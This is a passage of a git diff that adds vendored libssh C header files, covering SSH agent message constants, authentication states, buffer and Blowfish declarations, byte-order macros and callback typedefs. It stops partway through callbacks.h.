b/vendor/libssh/include/libssh/agent.h @@ -0,0 +1,126 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2008-2009 Andreas Schneider + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef __AGENT_H +#define __AGENT_H + +#include "libssh/libssh.h" + +/* Messages for the authentication agent connection. */ +#define SSH_AGENTC_REQUEST_RSA_IDENTITIES 1 +#define SSH_AGENT_RSA_IDENTITIES_ANSWER 2 +#define SSH_AGENTC_RSA_CHALLENGE 3 +#define SSH_AGENT_RSA_RESPONSE 4 +#define SSH_AGENT_FAILURE 5 +#define SSH_AGENT_SUCCESS 6 +#define SSH_AGENTC_ADD_RSA_IDENTITY 7 +#define SSH_AGENTC_REMOVE_RSA_IDENTITY 8 +#define SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES 9 + +/* private OpenSSH extensions for SSH2 */ +#define SSH2_AGENTC_REQUEST_IDENTITIES 11 +#define SSH2_AGENT_IDENTITIES_ANSWER 12 +#define SSH2_AGENTC_SIGN_REQUEST 13 +#define SSH2_AGENT_SIGN_RESPONSE 14 +#define SSH2_AGENTC_ADD_IDENTITY 17 +#define SSH2_AGENTC_REMOVE_IDENTITY 18 +#define SSH2_AGENTC_REMOVE_ALL_IDENTITIES 19 + +/* smartcard */ +#define SSH_AGENTC_ADD_SMARTCARD_KEY 20 +#define SSH_AGENTC_REMOVE_SMARTCARD_KEY 21 + +/* lock/unlock the agent */ +#define SSH_AGENTC_LOCK 22 +#define SSH_AGENTC_UNLOCK 23 + +/* add key with constraints */ +#define SSH_AGENTC_ADD_RSA_ID_CONSTRAINED 24 +#define SSH2_AGENTC_ADD_ID_CONSTRAINED 25 +#define SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED 26 + +#define SSH_AGENT_CONSTRAIN_LIFETIME 1 +#define SSH_AGENT_CONSTRAIN_CONFIRM 2 + +/* extended failure messages */ +#define SSH2_AGENT_FAILURE 30 + +/* additional error code for ssh.com's ssh-agent2 */ +#define SSH_COM_AGENT2_FAILURE 102 + +#define SSH_AGENT_OLD_SIGNATURE 0x01 +/* Signature flags from draft-miller-ssh-agent-02 */ +#define SSH_AGENT_RSA_SHA2_256 0x02 +#define SSH_AGENT_RSA_SHA2_512 0x04 + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_agent_struct { + struct ssh_socket_struct *sock; + ssh_buffer ident; + unsigned int count; + ssh_channel channel; +}; + +/* agent.c */ +/** + * @brief Create a new ssh agent structure. + * + * @return An allocated ssh agent structure or NULL on error. + */ +struct ssh_agent_struct *ssh_agent_new(struct ssh_session_struct *session); + +void ssh_agent_close(struct ssh_agent_struct *agent); + +/** + * @brief Free an allocated ssh agent structure. + * + * @param agent The ssh agent structure to free. + */ +void ssh_agent_free(struct ssh_agent_struct *agent); + +/** + * @brief Check if the ssh agent is running. + * + * @param session The ssh session to check for the agent. + * + * @return 1 if it is running, 0 if not. + */ +int ssh_agent_is_running(struct ssh_session_struct *session); + +uint32_t ssh_agent_get_ident_count(struct ssh_session_struct *session); + +ssh_key ssh_agent_get_next_ident(struct ssh_session_struct *session, + char **comment); + +ssh_key ssh_agent_get_first_ident(struct ssh_session_struct *session, + char **comment); + +ssh_string ssh_agent_sign_data(ssh_session session, + const ssh_key pubkey, + struct ssh_buffer_struct *data); + +#ifdef __cplusplus +} +#endif + +#endif /* __AGENT_H */ diff --git a/vendor/libssh/include/libssh/auth.h b/vendor/libssh/include/libssh/auth.h new file mode 100644 index 0000000..b358b7a --- /dev/null +++ b/vendor/libssh/include/libssh/auth.h @@ -0,0 +1,111 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef AUTH_H_ +#define AUTH_H_ +#include "config.h" +#include "libssh/callbacks.h" + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_userauth_banner); +SSH_PACKET_CALLBACK(ssh_packet_userauth_failure); +SSH_PACKET_CALLBACK(ssh_packet_userauth_success); +SSH_PACKET_CALLBACK(ssh_packet_userauth_pk_ok); +SSH_PACKET_CALLBACK(ssh_packet_userauth_info_request); +SSH_PACKET_CALLBACK(ssh_packet_userauth_info_response); + +/** @internal + * kdbint structure must be shared with message.c + * and server.c + */ +struct ssh_kbdint_struct { + uint32_t nprompts; + uint32_t nanswers; + char *name; + char *instruction; + char **prompts; + unsigned char *echo; /* bool array */ + char **answers; +}; +typedef struct ssh_kbdint_struct* ssh_kbdint; + +ssh_kbdint ssh_kbdint_new(void); +void ssh_kbdint_clean(ssh_kbdint kbd); +void ssh_kbdint_free(ssh_kbdint kbd); + +/** @internal + * States of authentication in the client-side. They describe + * what was the last response from the server + */ +enum ssh_auth_state_e { + /** No authentication asked */ + SSH_AUTH_STATE_NONE=0, + /** Last authentication response was a partial success */ + SSH_AUTH_STATE_PARTIAL, + /** Last authentication response was a success */ + SSH_AUTH_STATE_SUCCESS, + /** Last authentication response was failed */ + SSH_AUTH_STATE_FAILED, + /** Last authentication was erroneous */ + SSH_AUTH_STATE_ERROR, + /** Last state was a keyboard-interactive ask for info */ + SSH_AUTH_STATE_INFO, + /** Last state was a public key accepted for authentication */ + SSH_AUTH_STATE_PK_OK, + /** We asked for a keyboard-interactive authentication */ + SSH_AUTH_STATE_KBDINT_SENT, + /** We have sent an userauth request with gssapi-with-mic */ + SSH_AUTH_STATE_GSSAPI_REQUEST_SENT, + /** We are exchanging tokens until authentication */ + SSH_AUTH_STATE_GSSAPI_TOKEN, + /** We have sent the MIC and expecting to be authenticated */ + SSH_AUTH_STATE_GSSAPI_MIC_SENT, + /** We have offered a pubkey to check if it is supported */ + SSH_AUTH_STATE_PUBKEY_OFFER_SENT, + /** We have sent pubkey and signature expecting to be authenticated */ + SSH_AUTH_STATE_PUBKEY_AUTH_SENT, + /** We have sent a password expecting to be authenticated */ + SSH_AUTH_STATE_PASSWORD_AUTH_SENT, + /** We have sent a request without auth information (method 'none') */ + SSH_AUTH_STATE_AUTH_NONE_SENT, +}; + +/** @internal + * @brief states of the authentication service request + */ +enum ssh_auth_service_state_e { + /** initial state */ + SSH_AUTH_SERVICE_NONE=0, + /** Authentication service request packet sent */ + SSH_AUTH_SERVICE_SENT, + /** Service accepted */ + SSH_AUTH_SERVICE_ACCEPTED, + /** Access to service denied (fatal) */ + SSH_AUTH_SERVICE_DENIED, +}; + +#ifdef __cplusplus +} +#endif + +#endif /* AUTH_H_ */ diff --git a/vendor/libssh/include/libssh/bignum.h b/vendor/libssh/include/libssh/bignum.h new file mode 100644 index 0000000..6b5dc1a --- /dev/null +++ b/vendor/libssh/include/libssh/bignum.h @@ -0,0 +1,40 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2014 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef BIGNUM_H_ +#define BIGNUM_H_ + +#include "libssh/libcrypto.h" +#include "libssh/libgcrypt.h" +#include "libssh/libmbedcrypto.h" + +#ifdef __cplusplus +extern "C" { +#endif + +bignum ssh_make_string_bn(ssh_string string); +ssh_string ssh_make_bignum_string(bignum num); +void ssh_print_bignum(const char *which, const_bignum num); + +#ifdef __cplusplus +} +#endif + +#endif /* BIGNUM_H_ */ diff --git a/vendor/libssh/include/libssh/bind.h b/vendor/libssh/include/libssh/bind.h new file mode 100644 index 0000000..56f97f2 --- /dev/null +++ b/vendor/libssh/include/libssh/bind.h @@ -0,0 +1,68 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef BIND_H_ +#define BIND_H_ + +#include "libssh/priv.h" +#include "libssh/kex.h" +#include "libssh/session.h" + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_bind_struct { + struct ssh_common_struct common; /* stuff common to ssh_bind and ssh_session */ + struct ssh_bind_callbacks_struct *bind_callbacks; + void *bind_callbacks_userdata; + + struct ssh_poll_handle_struct *poll; + /* options */ + char *wanted_methods[SSH_KEX_METHODS]; + char *banner; + char *ecdsakey; + char *dsakey; + char *rsakey; + char *ed25519key; + ssh_key ecdsa; + ssh_key dsa; + ssh_key rsa; + ssh_key ed25519; + char *bindaddr; + socket_t bindfd; + unsigned int bindport; + int blocking; + int toaccept; + bool config_processed; + char *config_dir; + char *pubkey_accepted_key_types; + char* moduli_file; + int rsa_min_size; +}; + +struct ssh_poll_handle_struct *ssh_bind_get_poll(struct ssh_bind_struct + *sshbind); + +#ifdef __cplusplus +} +#endif + +#endif /* BIND_H_ */ diff --git a/vendor/libssh/include/libssh/bind_config.h b/vendor/libssh/include/libssh/bind_config.h new file mode 100644 index 0000000..5f2dccc --- /dev/null +++ b/vendor/libssh/include/libssh/bind_config.h @@ -0,0 +1,82 @@ +/* + * bind_config.h - Parse the SSH server configuration file + * + * This file is part of the SSH Library + * + * Copyright (c) 2019 by Red Hat, Inc. + * + * Author: Anderson Toshiyuki Sasaki + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef BIND_CONFIG_H_ +#define BIND_CONFIG_H_ + +#include "libssh/server.h" + +#ifdef __cplusplus +extern "C" { +#endif + +enum ssh_bind_config_opcode_e { + /* Known but not allowed in Match block */ + BIND_CFG_NOT_ALLOWED_IN_MATCH = -4, + /* Unknown opcode */ + BIND_CFG_UNKNOWN = -3, + /* Known and not applicable to libssh */ + BIND_CFG_NA = -2, + /* Known but not supported by current libssh version */ + BIND_CFG_UNSUPPORTED = -1, + BIND_CFG_INCLUDE, + BIND_CFG_HOSTKEY, + BIND_CFG_LISTENADDRESS, + BIND_CFG_PORT, + BIND_CFG_LOGLEVEL, + BIND_CFG_CIPHERS, + BIND_CFG_MACS, + BIND_CFG_KEXALGORITHMS, + BIND_CFG_MATCH, + BIND_CFG_PUBKEY_ACCEPTED_KEY_TYPES, + BIND_CFG_HOSTKEY_ALGORITHMS, + + BIND_CFG_MAX /* Keep this one last in the list */ +}; + +/* @brief Parse configuration file and set the options to the given ssh_bind + * + * @params[in] sshbind The ssh_bind context to be configured + * @params[in] filename The path to the configuration file + * + * @returns 0 on successful parsing the configuration file, -1 on error + */ +int ssh_bind_config_parse_file(ssh_bind sshbind, const char *filename); + +/* @brief Parse configuration string and set the options to the given bind session + * + * @params[in] bind The ssh bind session + * @params[in] input Null terminated string containing the configuration + * + * @returns SSH_OK on successful parsing the configuration string, + * SSH_ERROR on error + */ +int ssh_bind_config_parse_string(ssh_bind bind, const char *input); + +#ifdef __cplusplus +} +#endif + +#endif /* BIND_CONFIG_H_ */ diff --git a/vendor/libssh/include/libssh/blf.h b/vendor/libssh/include/libssh/blf.h new file mode 100644 index 0000000..201821a --- /dev/null +++ b/vendor/libssh/include/libssh/blf.h @@ -0,0 +1,96 @@ +/* $OpenBSD: blf.h,v 1.7 2007/03/14 17:59:41 grunk Exp $ */ +/* + * Blowfish - a fast block cipher designed by Bruce Schneier + * + * Copyright 1997 Niels Provos + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Niels Provos. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _BLF_H_ +#define _BLF_H_ + +//#include "includes.h" + +#if !defined(HAVE_BCRYPT_PBKDF) && !defined(HAVE_BLH_H) + +/* Schneier specifies a maximum key length of 56 bytes. + * This ensures that every key bit affects every cipher + * bit. However, the subkeys can hold up to 72 bytes. + * Warning: For normal blowfish encryption only 56 bytes + * of the key affect all cipherbits. + */ + +#define BLF_N 16 /* Number of Subkeys */ +#define BLF_MAXKEYLEN ((BLF_N-2)*4) /* 448 bits */ +#define BLF_MAXUTILIZED ((BLF_N+2)*4) /* 576 bits */ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Blowfish context */ +typedef struct BlowfishContext { + uint32_t S[4][256]; /* S-Boxes */ + uint32_t P[BLF_N + 2]; /* Subkeys */ +} ssh_blf_ctx; + +/* Raw access to customized Blowfish + * blf_key is just: + * Blowfish_initstate( state ) + * Blowfish_expand0state( state, key, keylen ) + */ + +void Blowfish_encipher(ssh_blf_ctx *, uint32_t *, uint32_t *); +void Blowfish_decipher(ssh_blf_ctx *, uint32_t *, uint32_t *); +void Blowfish_initstate(ssh_blf_ctx *); +void Blowfish_expand0state(ssh_blf_ctx *, const uint8_t *, uint16_t); +void Blowfish_expandstate +(ssh_blf_ctx *, const uint8_t *, uint16_t, const uint8_t *, uint16_t); + +/* Standard Blowfish */ + +void ssh_blf_key(ssh_blf_ctx *, const uint8_t *, uint16_t); +void ssh_blf_enc(ssh_blf_ctx *, uint32_t *, uint16_t); +void ssh_blf_dec(ssh_blf_ctx *, uint32_t *, uint16_t); + +void ssh_blf_ecb_encrypt(ssh_blf_ctx *, uint8_t *, uint32_t); +void ssh_blf_ecb_decrypt(ssh_blf_ctx *, uint8_t *, uint32_t); + +void ssh_blf_cbc_encrypt(ssh_blf_ctx *, uint8_t *, uint8_t *, uint32_t); +void ssh_blf_cbc_decrypt(ssh_blf_ctx *, uint8_t *, uint8_t *, uint32_t); + +/* Converts uint8_t to uint32_t */ +uint32_t Blowfish_stream2word(const uint8_t *, uint16_t , uint16_t *); + +#endif /* !defined(HAVE_BCRYPT_PBKDF) && !defined(HAVE_BLH_H) */ + +#ifdef __cplusplus +} +#endif + +#endif /* _BLF_H */ diff --git a/vendor/libssh/include/libssh/buffer.h b/vendor/libssh/include/libssh/buffer.h new file mode 100644 index 0000000..1fce7b7 --- /dev/null +++ b/vendor/libssh/include/libssh/buffer.h @@ -0,0 +1,85 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef BUFFER_H_ +#define BUFFER_H_ + +#include + +#include "libssh/libssh.h" + +#define SSH_BUFFER_PACK_END ((uint32_t) 0x4f65feb3) + +#ifdef __cplusplus +extern "C" { +#endif + +void ssh_buffer_set_secure(ssh_buffer buffer); +int ssh_buffer_add_ssh_string(ssh_buffer buffer, ssh_string string); +int ssh_buffer_add_u8(ssh_buffer buffer, uint8_t data); +int ssh_buffer_add_u16(ssh_buffer buffer, uint16_t data); +int ssh_buffer_add_u32(ssh_buffer buffer, uint32_t data); +int ssh_buffer_add_u64(ssh_buffer buffer, uint64_t data); + +int ssh_buffer_validate_length(struct ssh_buffer_struct *buffer, size_t len); + +void *ssh_buffer_allocate(struct ssh_buffer_struct *buffer, uint32_t len); +int ssh_buffer_allocate_size(struct ssh_buffer_struct *buffer, uint32_t len); +int ssh_buffer_pack_va(struct ssh_buffer_struct *buffer, + const char *format, + size_t argc, + va_list ap); +int _ssh_buffer_pack(struct ssh_buffer_struct *buffer, + const char *format, + size_t argc, + ...); +#define ssh_buffer_pack(buffer, format, ...) \ + _ssh_buffer_pack((buffer), (format), __VA_NARG__(__VA_ARGS__), __VA_ARGS__, SSH_BUFFER_PACK_END) + +int ssh_buffer_unpack_va(struct ssh_buffer_struct *buffer, + const char *format, size_t argc, + va_list ap); +int _ssh_buffer_unpack(struct ssh_buffer_struct *buffer, + const char *format, + size_t argc, + ...); +#define ssh_buffer_unpack(buffer, format, ...) \ + _ssh_buffer_unpack((buffer), (format), __VA_NARG__(__VA_ARGS__), __VA_ARGS__, SSH_BUFFER_PACK_END) + +int ssh_buffer_prepend_data(ssh_buffer buffer, const void *data, uint32_t len); +int ssh_buffer_add_buffer(ssh_buffer buffer, ssh_buffer source); + +/* buffer_read_*() returns the number of bytes read, except for ssh strings */ +uint32_t ssh_buffer_get_u8(ssh_buffer buffer, uint8_t *data); +uint32_t ssh_buffer_get_u32(ssh_buffer buffer, uint32_t *data); +uint32_t ssh_buffer_get_u64(ssh_buffer buffer, uint64_t *data); + +/* ssh_buffer_get_ssh_string() is an exception. if the String read is too large or invalid, it will answer NULL. */ +ssh_string ssh_buffer_get_ssh_string(ssh_buffer buffer); + +/* ssh_buffer_pass_bytes acts as if len bytes have been read (used for padding) */ +uint32_t ssh_buffer_pass_bytes_end(ssh_buffer buffer, uint32_t len); +uint32_t ssh_buffer_pass_bytes(ssh_buffer buffer, uint32_t len); + +#ifdef __cplusplus +} +#endif + +#endif /* BUFFER_H_ */ diff --git a/vendor/libssh/include/libssh/bytearray.h b/vendor/libssh/include/libssh/bytearray.h new file mode 100644 index 0000000..0c0690d --- /dev/null +++ b/vendor/libssh/include/libssh/bytearray.h @@ -0,0 +1,90 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2018 Andreas Schneider + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef _BYTEARRAY_H +#define _BYTEARRAY_H + +#define _DATA_BYTE_CONST(data, pos) \ + ((uint8_t)(((const uint8_t *)(data))[(pos)])) + +#define _DATA_BYTE(data, pos) \ + (((uint8_t *)(data))[(pos)]) + +/* + * These macros pull or push integer values from byte arrays stored in + * little-endian byte order. + */ +#define PULL_LE_U8(data, pos) \ + (_DATA_BYTE_CONST(data, pos)) + +#define PULL_LE_U16(data, pos) \ + ((uint16_t)PULL_LE_U8(data, pos) | ((uint16_t)(PULL_LE_U8(data, (pos) + 1))) << 8) + +#define PULL_LE_U32(data, pos) \ + ((uint32_t)(PULL_LE_U16(data, pos) | ((uint32_t)PULL_LE_U16(data, (pos) + 2)) << 16)) + +#define PULL_LE_U64(data, pos) \ + ((uint64_t)(PULL_LE_U32(data, pos) | ((uint64_t)PULL_LE_U32(data, (pos) + 4)) << 32)) + + +#define PUSH_LE_U8(data, pos, val) \ + (_DATA_BYTE(data, pos) = ((uint8_t)(val))) + +#define PUSH_LE_U16(data, pos, val) \ + (PUSH_LE_U8((data), (pos), (uint8_t)((uint16_t)(val) & 0xff)), PUSH_LE_U8((data), (pos) + 1, (uint8_t)((uint16_t)(val) >> 8))) + +#define PUSH_LE_U32(data, pos, val) \ + (PUSH_LE_U16((data), (pos), (uint16_t)((uint32_t)(val) & 0xffff)), PUSH_LE_U16((data), (pos) + 2, (uint16_t)((uint32_t)(val) >> 16))) + +#define PUSH_LE_U64(data, pos, val) \ + (PUSH_LE_U32((data), (pos), (uint32_t)((uint64_t)(val) & 0xffffffff)), PUSH_LE_U32((data), (pos) + 4, (uint32_t)((uint64_t)(val) >> 32))) + + + +/* + * These macros pull or push integer values from byte arrays stored in + * big-endian byte order (network byte order). + */ +#define PULL_BE_U8(data, pos) \ + (_DATA_BYTE_CONST(data, pos)) + +#define PULL_BE_U16(data, pos) \ + ((((uint16_t)(PULL_BE_U8(data, pos))) << 8) | (uint16_t)PULL_BE_U8(data, (pos) + 1)) + +#define PULL_BE_U32(data, pos) \ + ((((uint32_t)PULL_BE_U16(data, pos)) << 16) | (uint32_t)(PULL_BE_U16(data, (pos) + 2))) + +#define PULL_BE_U64(data, pos) \ + ((((uint64_t)PULL_BE_U32(data, pos)) << 32) | (uint64_t)(PULL_BE_U32(data, (pos) + 4))) + + + +#define PUSH_BE_U8(data, pos, val) \ + (_DATA_BYTE(data, pos) = ((uint8_t)(val))) + +#define PUSH_BE_U16(data, pos, val) \ + (PUSH_BE_U8((data), (pos), (uint8_t)(((uint16_t)(val)) >> 8)), PUSH_BE_U8((data), (pos) + 1, (uint8_t)((val) & 0xff))) + +#define PUSH_BE_U32(data, pos, val) \ + (PUSH_BE_U16((data), (pos), (uint16_t)(((uint32_t)(val)) >> 16)), PUSH_BE_U16((data), (pos) + 2, (uint16_t)((val) & 0xffff))) + +#define PUSH_BE_U64(data, pos, val) \ + (PUSH_BE_U32((data), (pos), (uint32_t)(((uint64_t)(val)) >> 32)), PUSH_BE_U32((data), (pos) + 4, (uint32_t)((val) & 0xffffffff))) + +#endif /* _BYTEARRAY_H */ diff --git a/vendor/libssh/include/libssh/callbacks.h b/vendor/libssh/include/libssh/callbacks.h new file mode 100644 index 0000000..8ccc051 --- /dev/null +++ b/vendor/libssh/include/libssh/callbacks.h @@ -0,0 +1,1027 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* callback.h + * This file includes the public declarations for the libssh callback mechanism + */ + +#ifndef _SSH_CALLBACK_H +#define _SSH_CALLBACK_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @defgroup libssh_callbacks The libssh callbacks + * @ingroup libssh + * + * Callback which can be replaced in libssh. + * + * @{ + */ + +/** @internal + * @brief callback to process simple codes + * @param code value to transmit + * @param user Userdata to pass in callback + */ +typedef void (*ssh_callback_int) (int code, void *user); + +/** @internal + * @brief callback for data received messages. + * @param data data retrieved from the socket or stream + * @param len number of bytes available from this stream + * @param user user-supplied pointer sent along with all callback messages + * @returns number of bytes processed by the callee. The remaining bytes will + * be sent in the next callback message, when more data is available. + */ +typedef size_t (*ssh_callback_data) (const void *data, size_t len, void *user); + +typedef void (*ssh_callback_int_int) (int code, int errno_code, void *user); + +typedef int (*ssh_message_callback) (ssh_session, ssh_message message, void *user); +typedef int (*ssh_channel_callback_int) (ssh_channel channel, int code, void *user); +typedef int (*ssh_channel_callback_data) (ssh_channel channel, int code, void *data, size_t len, void *user); + +/** + * @brief SSH log callback. All logging messages will go through this callback + * @param session Current session handler + * @param priority Priority of the log, the smaller being the more important + * @param message the actual message + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_log_callback) (ssh_session session, int priority, + const char *message, void *userdata); + +/** + * @brief SSH log callback. + * + * All logging messages will go through this callback. + * + * @param priority Priority of the log, the smaller being the more important. + * + * @param function The function name calling the logging functions. + * + * @param buffer The actual message + * + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_logging_callback) (int priority, + const char *function, + const char *buffer, + void *userdata); + +/** + * @brief SSH Connection status callback. + * @param session Current session handler + * @param status Percentage of connection status, going from 0.0 to 1.0 + * once connection is done. + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_status_callback) (ssh_session session, float status, + void *userdata); + +/** + * @brief SSH global request callback. All global request will go through this + * callback. + * @param session Current session handler + * @param message the actual message + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_global_request_callback) (ssh_session session, + ssh_message message, void *userdata); + +/** + * @brief Handles an SSH new channel open X11 request. This happens when the server + * sends back an X11 connection attempt. This is a client-side API + * @param session current session handler + * @param userdata Userdata to be passed to the callback function. + * @param originator_address IP address of the machine who sent the request + * @param originator_port port number of the machine who sent the request + * @returns a valid ssh_channel handle if the request is to be allowed + * @returns NULL if the request should not be allowed + * @warning The channel pointer returned by this callback must be closed by the application. + */ +typedef ssh_channel (*ssh_channel_open_request_x11_callback) (ssh_session session, + const char * originator_address, int originator_port, void *userdata); + +/** + * @brief Handles an SSH new channel open "auth-agent" request. This happens when the server + * sends back an "auth-agent" connection attempt. This is a client-side API + * @param session current session handler + * @param userdata Userdata to be passed to the callback function. + * @returns a valid ssh_channel handle if the request is to be allowed + * @returns NULL if the request should not be allowed + * @warning The channel pointer returned by this callback must be closed by the application. + */ +typedef ssh_channel (*ssh_channel_open_request_auth_agent_callback) (ssh_session session, + void *userdata); + +/** + * The structure to replace libssh functions with appropriate callbacks. + */ +struct ssh_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** + * User-provided data. User is free to set anything he wants here + */ + void *userdata; + /** + * This functions will be called if e.g. a keyphrase is needed. + */ + ssh_auth_callback auth_function; + /** + * This function will be called each time a loggable event happens. + */ + ssh_log_callback log_function; + /** + * This function gets called during connection time to indicate the + * percentage of connection steps completed. + */ + void (*connect_status_function)(void *userdata, float status); + /** + * This function will be called each time a global request is received. + */ + ssh_global_request_callback global_request_function; + /** This function will be called when an incoming X11 request is received. + */ + ssh_channel_open_request_x11_callback channel_open_request_x11_function; + /** This function will be called when an incoming "auth-agent" request is received. + */ + ssh_channel_open_request_auth_agent_callback channel_open_request_auth_agent_function; +}; +typedef struct ssh_callbacks_struct *ssh_callbacks; + +/** These are callbacks used specifically in SSH servers. + */ + +/** + * @brief SSH authentication callback. + * @param session Current session handler + * @param user User that wants to authenticate + * @param password Password used for authentication + * @param userdata Userdata to be passed to the callback function. + * @returns SSH_AUTH_SUCCESS Authentication is accepted. + * @returns SSH_AUTH_PARTIAL Partial authentication, more authentication means are needed. + * @returns SSH_AUTH_DENIED Authentication failed. + */ +typedef int (*ssh_auth_password_callback) (ssh_session session, const char *user, const char *password, + void *userdata); + +/** + * @brief SSH authentication callback. Tries to authenticates user 